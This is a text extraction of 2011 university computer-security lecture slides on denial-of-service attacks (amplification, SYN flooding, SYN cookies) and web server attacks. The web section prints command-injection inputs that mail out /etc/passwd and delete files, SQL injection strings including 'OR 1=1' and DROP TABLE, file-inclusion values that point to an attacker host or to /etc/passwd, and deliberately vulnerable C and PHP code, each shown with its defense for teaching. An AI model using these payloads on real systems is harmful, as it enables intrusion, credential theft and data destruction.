denial-of-service (dos) & web attacks

73
Denial-of-Service (DoS) & Web Attacks CS 161: Computer Security Prof. Vern Paxson TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin http://inst.eecs.berkeley.edu/~cs161/ February 17, 2011

Upload: others

Post on 03-Feb-2022

8 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Denial-of-Service (DoS) & Web Attacks

Denial-of-Service (DoS) &Web Attacks

CS 161: Computer SecurityProf. Vern Paxson

TAs: Devdatta Akhawe, Mobin Javed& Matthias Vallentin

http://inst.eecs.berkeley.edu/~cs161/February 17, 2011

Page 2: Denial-of-Service (DoS) & Web Attacks

Goals For Today

• Continue our discussion of Denial-of-Service (DoS), including TCP &application-layer attacks

• Begin discussing Web attacks– Subverting web servers (today)– Subverting web clients (next week)

Page 3: Denial-of-Service (DoS) & Web Attacks

Amplification: Network DoS

• One technique for magnifying flood traffic:leverage Internet’s broadcast functionality

• How does an attacker exploit this?– Send traffic to the broadcast address and spoof it

as though the DoS victim sent it– All of the replies then go to the victim rather than the

attacker’s machine– Each attacker pkt yields dozens of flooding pkts

smurfattack

Page 4: Denial-of-Service (DoS) & Web Attacks

Amplification: Network DoS

• One technique for magnifying flood traffic:leverage Internet’s broadcast functionality

• How does an attacker exploit this?– Send traffic to the broadcast address and spoof it

as though the DoS victim sent it– All of the replies then go to the victim rather than the

attacker’s machine– Each attacker pkt yields dozens of flooding pkts

• Another example: DNS lookups– Reply is often much bigger than request– So attacker spoofs request seemingly from the target

• Small attacker packet yields large flooding packet

smurfattack

Page 5: Denial-of-Service (DoS) & Web Attacks

Transport-Level Denial-of-Service• Recall TCP’s 3-way connection establishment

handshake– Goal: agree on initial sequence numbers

• So a single SYN from an attacker suffices to forcethe server to spend some memory

Client (initiator)

SYN, SeqNum = x

SYN and ACK, SeqNum = y, Ack = x + 1

ACK, Ack = y + 1

Server

Server creates stateassociated withconnection hereAttacker doesn’t

even need tosend this ack

Page 6: Denial-of-Service (DoS) & Web Attacks

TCP SYN Flooding• Attacker targets memory rather than

network capacity• Every (unique) SYN that the attacker sends

burdens the target• What should target do when it has no more

memory for a new connection?• No good answer!

– Refuse new connection?• Legit new users can’t access service

– Evict old connections to make room?• Legit old users get kicked off

Page 7: Denial-of-Service (DoS) & Web Attacks

TCP SYN Flooding, con’t

• How can the target defend itself?

• Approach #1: make sure they havetons of memory!– How much is enough? Depends on

resources attacker can bring to bear

Page 8: Denial-of-Service (DoS) & Web Attacks

TCP SYN Flooding, con’t

• Approach #2: identify bad actors & refuse theirconnections– Hard because only way to identify them is based on IP

address• We can’t for example require them to send a password because

doing so requires we have an established connection!– For a public Internet service, who knows which

addresses customers might come from?– Plus: attacker can spoof addresses since they don’t

need to complete TCP 3-way handshake• Approach #3: don’t keep state! (“SYN cookies”;

only works for spoofed SYN flooding)

Page 9: Denial-of-Service (DoS) & Web Attacks

Flooding Defense: SYN Cookies

Client (initiator)

SYN, SeqNum = x

SYN and ACK, SeqNum = y, Ack = x + 1

ACK, Ack = y + 1

Server

• Server: when SYN arrives, encode connectionstate entirely within SYN-ACK’s sequence # y– y = encoding of necessary state, using server secret

• When ACK of SYN-ACK arrives, server onlycreates state if value of y from it agrees w/ secret

Server only createsstate here

Do not createstate here

Instead, encode it here

Page 10: Denial-of-Service (DoS) & Web Attacks

SYN Cookies: Discussion• Illustrates general strategy: rather than holding

state, encode it so that it is returned whenneeded

• For SYN cookies, attacker must complete3-way handshake in order to burden server– Can’t use spoofed source addresses

• Note #1: strategy requires that you haveenough bits to encode all the state– (This is just barely the case for SYN cookies)

• Note #2: if it’s expensive to generate or checkthe cookie, then it’s not a win

Page 11: Denial-of-Service (DoS) & Web Attacks

Application-Layer DoS

• Rather than exhausting network or memoryresources, attacker can overwhelm aservice’s processing capacity

• There are many ways to do so, often atlittle expense to attacker compared totarget (asymmetry)

Page 12: Denial-of-Service (DoS) & Web Attacks
Page 13: Denial-of-Service (DoS) & Web Attacks

Application-Layer DoS, con’t

• Rather than exhausting network or memoryresources, attacker can overwhelm a service’sprocessing capacity

• There are many ways to do so, often at littleexpense to attacker compared to target(asymmetry)

• Defenses against such attacks?• Approach #1: Only let legit users to issue

expensive requests– Relies on being able to identify/authenticate them– Note: that this itself might be expensive!

• Approach #2: Look for clusters of similar activity– Arms race w/ attacker AND costs collateral damage

Page 14: Denial-of-Service (DoS) & Web Attacks

5 Minute Break

Questions Before We Proceed?

Page 15: Denial-of-Service (DoS) & Web Attacks

Web Server Threats

• What can happen?– Compromise– Defacement– Gateway to enabling attacks on clients– Disclosure– (not mutually exclusive)

• And what makes the problem particularly tricky?– Public access– Mission creep

Page 16: Denial-of-Service (DoS) & Web Attacks
Page 17: Denial-of-Service (DoS) & Web Attacks
Page 18: Denial-of-Service (DoS) & Web Attacks
Page 19: Denial-of-Service (DoS) & Web Attacks
Page 20: Denial-of-Service (DoS) & Web Attacks
Page 21: Denial-of-Service (DoS) & Web Attacks
Page 22: Denial-of-Service (DoS) & Web Attacks
Page 23: Denial-of-Service (DoS) & Web Attacks
Page 24: Denial-of-Service (DoS) & Web Attacks
Page 25: Denial-of-Service (DoS) & Web Attacks
Page 26: Denial-of-Service (DoS) & Web Attacks
Page 27: Denial-of-Service (DoS) & Web Attacks
Page 28: Denial-of-Service (DoS) & Web Attacks
Page 29: Denial-of-Service (DoS) & Web Attacks
Page 30: Denial-of-Service (DoS) & Web Attacks

Interacting With Web Servers• An interaction with a web server is expressed in

terms of a URL (plus an optional data item)• URL components:

http://coolsite.com/tools/doit.php?cmd=play&vol=44

Page 31: Denial-of-Service (DoS) & Web Attacks

Interacting With Web Servers• An interaction with a web server is expressed in

terms of a URL (plus an optional data item)• URL components:

http://coolsite.com/tools/doit.php?cmd=play&vol=44

protocol

E.g., “http” or “ftp” or “https”

Page 32: Denial-of-Service (DoS) & Web Attacks

Interacting With Web Servers• An interaction with a web server is expressed in

terms of a URL (plus an optional data item)• URL components:

http://coolsite.com/tools/doit.php?cmd=play&vol=44

Hostname of server

Translated to an IP address via DNS

Page 33: Denial-of-Service (DoS) & Web Attacks

Interacting With Web Servers• An interaction with a web server is expressed in

terms of a URL (plus an optional data item)• URL components:

http://coolsite.com/tools/doit.php?cmd=play&vol=44

Path to a resource

Can be static content (e.g., “index.html”)or can dynamic (program to execute)

Page 34: Denial-of-Service (DoS) & Web Attacks

Interacting With Web Servers• An interaction with a web server is expressed in

terms of a URL (plus an optional data item)• URL components:

http://coolsite.com/tools/doit.php?cmd=play&vol=44

First argument to doit.php

Page 35: Denial-of-Service (DoS) & Web Attacks

Interacting With Web Servers• An interaction with a web server is expressed in

terms of a URL (plus an optional data item)• URL components:

http://coolsite.com/tools/doit.php?cmd=play&vol=44

Second argument to doit.php

Page 36: Denial-of-Service (DoS) & Web Attacks

Simple Service Example• Allow users to search the local phonebook for

any entries that match a regular expression• Invoked via URL like:

http://harmless.com/phonebook.cgi?regex=<pattern>• So for example:

http://harmless.com/phonebook.cgi?regex=alice|bobsearches phonebook for any entries with “alice”or “bob” in them

• (Note: web surfer doesn’t enter this URL themselves;an HTML form, or possibly Javascript running in theirbrowser, constructs it from what they type)

Page 37: Denial-of-Service (DoS) & Web Attacks

Simple Service Example, con’t• Assume our server has some “glue” that parses URLs to

extract parameters into C variables– and returns stdout to the user

• Simple version of code to implement search:

/* print any employees whose name * matches the given regex */void find_employee(char *regex){ char cmd[512]; sprintf(cmd, "grep %s phonebook.txt", regex); system(cmd);}

Page 38: Denial-of-Service (DoS) & Web Attacks

Simple Service Example, con’t• Assume our server has some “glue” that parses URLs to

extract parameters into C variables– and returns stdout to the user

• Simple version of code to implement search:

/* print any employees whose name * matches the given regex */void find_employee(char *regex){ char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd);} Are we done?

Page 39: Denial-of-Service (DoS) & Web Attacks

A Digression into BreakfastCereals

• 2600 Hz tone a form of inband signaling• Beware allowing control information to

come from data• (also illustrates security-by-obscurity)

Page 40: Denial-of-Service (DoS) & Web Attacks

Instead ofhttp://harmless.com/phonebook.cgi?regex=alice|bob

How abouthttp://harmless.com/phonebook.cgi?regex=foo;%20mail%20-s%[email protected]%20</etc/passwd;%20rm

⇒ "grep foo; mail -s [email protected] </etc/passwd; rm phonebook.txt"

/* print any employees whose name * matches the given regex */void find_employee(char *regex){ char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd);}

Problems?

Page 41: Denial-of-Service (DoS) & Web Attacks

Instead ofhttp://harmless.com/phonebook.cgi?regex=alice|bob

How abouthttp://harmless.com/phonebook.cgi?regex=foo;%20mail%20-s%[email protected]%20</etc/passwd;%20rm

⇒ "grep foo; mail -s [email protected] </etc/passwd; rm phonebook.txt"

/* print any employees whose name * matches the given regex */void find_employee(char *regex){ char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd);}

Problems?

Control information, not data

Page 42: Denial-of-Service (DoS) & Web Attacks

How To Fix Command Injection?snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);

Page 43: Denial-of-Service (DoS) & Web Attacks

How To Fix Command Injection?snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);

Okay, quote the data toenforce that it’s indeedinterpreted as data …

⇒ "grep 'foo; mail -s [email protected] </etc/passwd; rm' phonebook.txt"

Argument is back to being data; asingle (large/messy) pattern to grep

Are we done?

Page 44: Denial-of-Service (DoS) & Web Attacks

How To Fix Command Injection?snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);

…regex=foo'; mail -s [email protected] </etc/passwd; rm'

⇒ "grep 'foo'; mail -s [email protected] </etc/passwd; rm' ' phonebook.txt"

Whoops, control information again, not dataFix?

Page 45: Denial-of-Service (DoS) & Web Attacks

How To Fix Command Injection?snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);

…regex=foo'; mail -s [email protected] </etc/passwd; rm'

Okay, first scan regex and strip ' - does that work?

No, now can’t do legitimate search on “O'Malley”.

Page 46: Denial-of-Service (DoS) & Web Attacks

How To Fix Command Injection?snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);

…regex=foo'; mail -s [email protected] </etc/passwd; rm'

Okay, then scan regex and escape ' …. ? legit regex ⇒ O\'Malley

Are we done?

Page 47: Denial-of-Service (DoS) & Web Attacks

How To Fix Command Injection?snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);

…regex=foo\'; mail -s [email protected] </etc/passwd; rm\'

Rule alters: …regex=foo\'; mail … ⇒ …regex=foo\\'; mail …

Now grep is invoked:

⇒ "grep 'foo\\'; mail -s [email protected] </etc/passwd; rm\\' ' phonebook.txt"

Argument to grep is “foo\”

Page 48: Denial-of-Service (DoS) & Web Attacks

How To Fix Command Injection?snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);

…regex=foo\'; mail -s [email protected] </etc/passwd; rm\'

Rule alters: …regex=foo\'; mail … ⇒ …regex=foo\\'; mail …

Now grep is invoked:

⇒ "grep 'foo\\'; mail -s [email protected] </etc/passwd; rm\\' ' phonebook.txt"

Sigh, again control information, not data

Page 49: Denial-of-Service (DoS) & Web Attacks

How To Fix Command Injection?snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);

Okay, then scan regex and escape ' and \ …. ? …regex=foo\'; mail … ⇒ …regex=foo\\\'; mail …

…regex=foo\'; mail -s [email protected] </etc/passwd; rm\'

⇒ "grep 'foo\\\'; mail -s [email protected] </etc/passwd; rm\\\' ' phonebook.txt"

Are we done?

Yes! - assuming we take care of all the waysescapes can occur …

Page 50: Denial-of-Service (DoS) & Web Attacks

Input Sanitization• In principle, can prevent injection attacks by

properly sanitizing input– Remove inputs with meta-characters

• (can have “collateral damage” for benign inputs)– Or escape any meta-characters (including escape

characters!)• Requires a complete model of how input subsequently

processed– E.g. …regex=foo%27; mail …– E.g. …regex=foo%25%32%37; mail …

» Double-escaping bug

• And/or: avoid using a feature-rich API– KISS + defensive programming

Page 51: Denial-of-Service (DoS) & Web Attacks

/* print any employees whose name * matches the given regex */void find_employee(char *regex){ char *path = "/usr/bin/grep"; char *argv[10];/* room for plenty of args */ char *envp[1]; /* no room since no env. */ int argc = 0;

argv[argc++] = path;/* argv[0] = prog name */ argv[argc++] = "-e";/* force regex as pat.*/ argv[argc++] = regex; argv[argc++] = "phonebook.txt"; argv[argc++] = 0; envp[0] = 0;

if ( execve(path, argv, envp) < 0 ) command_failed(.....);}

Page 52: Denial-of-Service (DoS) & Web Attacks

/* print any employees whose name * matches the given regex */void find_employee(char *regex){ char *path = "/usr/bin/grep"; char *argv[10];/* room for plenty of args */ char *envp[1]; /* no room since no env. */ int argc = 0;

argv[argc++] = path;/* argv[0] = prog name */ argv[argc++] = "-e";/* force regex as pat.*/ argv[argc++] = regex; argv[argc++] = "phonebook.txt"; argv[argc++] = 0; envp[0] = 0;

if ( execve(path, argv, envp) < 0 ) command_failed(.....);}

No matter what weird goop “regex”has in it, it’ll be treated as a singleargument to grep; no shell involved

Page 53: Denial-of-Service (DoS) & Web Attacks

Command Injection in the Real World

Page 54: Denial-of-Service (DoS) & Web Attacks

Command Injection in the Real World

Page 55: Denial-of-Service (DoS) & Web Attacks
Page 56: Denial-of-Service (DoS) & Web Attacks
Page 57: Denial-of-Service (DoS) & Web Attacks

Structure of Modern Web Services

BrowserWeb

server

URL / Form

command.php?arg1=x&arg2=y

Page 58: Denial-of-Service (DoS) & Web Attacks

Structure of Modern Web Services

BrowserWeb

server

URL / Form

command.php?arg1=x&arg2=y

Databaseserver

SQL query builtfrom x and y

Page 59: Denial-of-Service (DoS) & Web Attacks

Structure of Modern Web Services

BrowserWeb

server

Databaseserver

Custom datacorresponding to x & y

Page 60: Denial-of-Service (DoS) & Web Attacks

Structure of Modern Web Services

BrowserWeb

server

Web page builtusing custom data

Databaseserver

Page 61: Denial-of-Service (DoS) & Web Attacks

SQL

• Widely used database query language• Fetch a set of records

SELECT * FROM Person WHERE Username=‘oski’

• Add data to the tableINSERT INTO Person (Username, Balance)

VALUES (‘oski’, 10) -- oski has ten buckaroos• Modify data

UPDATE Person SET Balance=42 WHEREUsername=‘oski’

• Query syntax (mostly) independent of vendor

An SQL comment

Page 62: Denial-of-Service (DoS) & Web Attacks

SQL Injection Scenario

• Suppose web server front end storesURL parameter “recipient” in a variable$recipient and then builds up a string withthe following SQL query:$sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' ";

• Query accesses recipient’s account iftheir balance is < 100.

Page 63: Denial-of-Service (DoS) & Web Attacks

SQL Injection Scenario

• Suppose web server front end storesURL parameter “recipient” in a variable$recipient and then builds up a string withthe following SQL query:$sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' ";

• So for “?recipient=Bob” the SQL query is:"SELECT PersonID FROM Person

WHERE Balance < 100 AND Username='Bob' "

Page 64: Denial-of-Service (DoS) & Web Attacks

SQL Injection Scenario

• Suppose web server front end storesURL parameter “recipient” in a variable$recipient and then builds up a string withthe following SQL query:$sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' ";

• How can recipient cause trouble here?– How can we see anyone’s account?

Page 65: Denial-of-Service (DoS) & Web Attacks

SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$recipient' "

• $recipient = foo' OR 1=1 --WHERE Balance < 100 AND

Username='foo' OR 1=1 --' "• Precedence & “--” (comment) makes this:

WHERE (Balance < 100 AND Username='foo’) OR 1=1

• Always true!

Page 66: Denial-of-Service (DoS) & Web Attacks

SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$recipient' ";

• How about recipient = foo'; DROP TABLE Person; -- ?

• Now there are two separate SQLcommands, thanks to ‘;’ command-separator.

• Can change database however you wish

Page 67: Denial-of-Service (DoS) & Web Attacks

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

Defenses

Page 68: Denial-of-Service (DoS) & Web Attacks

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

Defenses

Untrusted user input

Page 69: Denial-of-Service (DoS) & Web Attacks

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

Defenses

Input is confined toa single SQL atom

Page 70: Denial-of-Service (DoS) & Web Attacks

Defenses (work-in-progress)

Language  support  for  construc/ng  queriesSpecify  query  structure  independent  of  user  input:

ResultSet  getProfile(Connec9on  conn,  int  uid)  throws  SQLExcep9on{        String  query  =  "SELECT  profile  FROM  Users  WHERE  uid  =  ?;";        PreparedStatement  p  =  conn.prepareStatement(query);        p.setInt(1,  uid);        return  p.executeQuery();}

<P>Hello  ${username}!    Welcome  back.

Defenses

Template languageensures variable fullyescaped

Page 71: Denial-of-Service (DoS) & Web Attacks

PHP: Hypertext Preprocessor

• Server scripting language with C-likesyntax

• Can intermingle static HTML and code<input value=<?php echo $myvalue; ?>>

• Can embed variables in double-” strings$user = “world”; echo “Hello $user!”;

Or $user = “world”; echo “Hello” . $user . “!”;• Form data in global arrays $_GET,

$_POST, …

Page 72: Denial-of-Service (DoS) & Web Attacks

Building up Web Pages from SQL

<?php$result = mysql_query("SELECT * from users where username=" . $_POST['username'] . " AND password=" . $_POST['password']);$row = mysql_fetch_array($result)....?><html><body>Welcome <?php print $row['username'] ?></body></html>

Page 73: Denial-of-Service (DoS) & Web Attacks

1. Form displayedin user’s browser

2. PHP codeexecuted by server

Injection via file inclusion

3. Now suppose COLOR=http://badguy/evilOr: COLOR=../../../etc/passwd%00